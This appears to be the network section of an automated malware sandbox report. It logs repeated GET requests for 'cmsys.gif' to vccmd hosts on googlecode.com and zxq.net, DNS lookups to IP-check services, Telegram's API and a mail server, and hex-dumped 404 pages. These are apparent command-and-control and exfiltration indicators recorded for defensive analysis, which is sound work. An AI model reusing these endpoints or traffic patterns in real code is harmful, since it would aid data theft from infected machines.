Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd03.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.zxq.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd01.googlecode.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/cmsys.gif HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vccmd02.googlecode.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: vccmd01.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: vccmd02.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: vccmd03.googlecode.com
Source: global traffic	DNS traffic detected: DNS query: vccmd01.t35.com
Source: global traffic	DNS traffic detected: DNS query: vccmd01.zxq.net
Source: global traffic	DNS traffic detected: DNS query: zxq.net
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: mail.tlakovec.si
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 29 Oct 2024 12:08:19 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:07:59 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:03 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1576Date: Tue, 29 Oct 2024 12:08:05 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 